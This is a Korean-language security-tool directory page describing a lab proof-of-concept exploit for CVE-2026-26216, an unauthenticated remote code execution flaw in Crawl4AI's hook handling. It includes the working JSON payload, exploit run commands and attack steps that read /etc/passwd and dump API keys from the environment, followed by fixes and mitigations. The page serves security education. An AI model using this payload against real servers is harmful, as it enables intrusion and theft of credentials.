Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
EXPLOIT-CVE-2026-26216 — CVE-2026-26216에 대한 개념 증명 익스플로잇으로, Crawl4AI의 Docker 배포에서 후크 주입을 통한 인증되지 않은 원격 코드 실행을 시연합니다. 취약한 랩 환경을 포함합니다. | Kitploit
도구/GitHubGitHub/joaovicdev/exploit-cve-2026-26216
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice
GitHubjoaovicdev/exploit-cve-2026-26216

EXPLOIT-CVE-2026-26216

CVE-2026-26216에 대한 개념 증명 익스플로잇으로, Crawl4AI의 Docker 배포에서 후크 주입을 통한 인증되지 않은 원격 코드 실행을 시연합니다. 취약한 랩 환경을 포함합니다.

저장소 보기
41개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-26216 — Crawl4AI 인증되지 않은 RCE via hooks (GHSA-5882-5rx9-xgxp)

CVSS 10.0 · 사전 인증 RCE · CWE-94 (코드 인젝션) Docker 서버의 Crawl4AI (< 0.8.0)에서 POST /crawl 엔드포인트의 hooks 파라미터를 악용하여 인증되지 않은 원격 코드 실행. POST 하나의 JSON이 컨테이너 내에서 Python을 root로 실행합니다.

이것은 실험실 PoC로, 자체 포함되어 있으며 재현 가능하며, 보안 연구 및 교육 목적입니다.


한 문장으로 설명하는 취약점

POST /crawl 엔드포인트는 hooks.code.<evento> 필드에 임의의 Python 코드를 허용합니다. 이 코드는 "집에서 만든 샌드박스"(제한된 내장 함수 사전) 내에서 exec()로 실행됩니다. 그러나 __import__가 허용 목록에 남아 있어, 을 허용하여 전체 샌드박스를 무력화합니다.

__import__('os').system(...)
root@kitploit:~
POST /crawl
{
  "urls": ["https://example.com"],
  "hooks": {
    "code": {
      "on_page_context_created":
        "async def hook(page, context, **kwargs):\n    __import__('os').system('id')\n    return page"
    }
  }
}

공식 배포가 기본적으로 JWT가 비활성화되어 있고 컨테이너가 root로 실행되므로, 결과적으로 사전 인증 상태에서 root RCE가 발생합니다.

왜 이것이 "AI 도구의 집에서 만든 샌드박스"에 대한 완벽한 교훈인가

샌드박스는 작동하는 것처럼 보입니다: open, eval, exec가 제거되어 순진한 공격(open('/etc/passwd'))은 차단됩니다. 이는 잘못된 보안 감각을 만듭니다. 하지만 하나의 위험한 내장 함수(__import__)만 잊어버리면 전체 stdlib(os, subprocess, socket)을 가져올 수 있고, 허용 목록은 장식이 됩니다. 내장 함수 허용 목록은 샌드박스가 아닙니다.


프로젝트 구조

root@kitploit:~
CVE-2026-26216/
├── README.md
├── docker-compose.yml         # sobe o servidor vulnerável
├── vulnerable-app/
│   ├── Dockerfile             # imagem que roda como root (igual à oficial)
│   ├── requirements.txt
│   ├── server.py              # FastAPI: POST /crawl sem auth
│   └── hook_manager.py        # o sandbox fraco (a linha vulnerável está aqui)
└── exploit/
    └── exploit.py             # exploit Python (só stdlib)

정확성 참고. vulnerable-app/는 Crawl4AI의 취약한 코드 경로를 간결하게 재현한 것입니다(Chromium/Playwright를 열지 않음). PoC가 가볍고 100% 재현 가능하도록 하기 위함입니다. 샌드박스 동작과 페이로드 구조는 공식 권고 GHSA-5882-5rx9-xgxp를 반영합니다. 취약한 라인은 vulnerable-app/hook_manager.py에 표시되어 있습니다.


실행 방법

root@kitploit:~
# 1. sobe o alvo
docker compose up -d --build

# 2. demonstração completa
python3 exploit/exploit.py --target http://localhost:11235 --demo

# 3. comando arbitrário
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"

# 4. derruba
docker compose down -v

익스플로잇이 보여주는 것

#동작영향
1open('/etc/passwd') 직접샌드박스에 의해 차단됨 (잘못된 보안)
2__import__('subprocess') + id/whoamiRCE root로
3쉘을 통한 cat /etc/passwd임의 파일 읽기
4env | grep KEYAPI 키/토큰 유출
5echo ... > /tmp/PWNED임의 파일 쓰기

그 이후: 내부 네트워크로의 피벗, 클라우드 자격 증명 탈취, 지속성 등.


영향

  • 기밀성: OPENAI_API_KEY, 내부 토큰, 컨테이너 시크릿 탈취.
  • 무결성: 파일 쓰기/변경, 백도어.
  • 가용성: 프로세스 종료, 데이터 삭제.
  • 횡적 이동: 컨테이너는 일반적으로 내부 네트워크에 접근 가능 → 피벗.

이 모든 것이 인증 없이 가능합니다.


수정 사항

Crawl4AI 0.8.0에서 수정됨:

  • 허용된 내장 함수에서 __import__ (및 eval/exec/open) 제거됨.
  • 후크 기본적으로 비활성화됨 — CRAWL4AI_HOOKS_ENABLED=true를 통한 명시적 옵트인.

일반적인 완화 조치:

  • crawl4ai >= 0.8.0으로 업데이트하세요.
  • Crawl4AI 서버를 인터넷에 직접 노출하지 마세요; JWT를 활성화하세요.
  • 컨테이너를 root로 실행하지 마세요; 권한이 없는 사용자와 읽기 전용 파일 시스템을 사용하세요.
  • "내장 함수 허용 목록"을 있는 그대로 취급하세요: 샌드박스가 아닙니다. 신뢰할 수 없는 코드를 실행하려면 실제 격리(gVisor, microVM, 네트워크/파일 시스템 없는 별도 프로세스, seccomp)를 사용하세요.

참고 자료

  • GitHub 권고 — GHSA-5882-5rx9-xgxp
  • GitHub 권고 데이터베이스
  • Corgea — CVE-2026-26216
  • GitLab 권고 데이터베이스
  • miggo.io — GHSA-5882-5rx9-xgxp

법적 고지

승인된 보안 연구 및 교육을 위한 자료입니다. 소유하고 있거나 명시적인 서면 허가를 받은 시스템에서만 사용하십시오.

도구 다운로드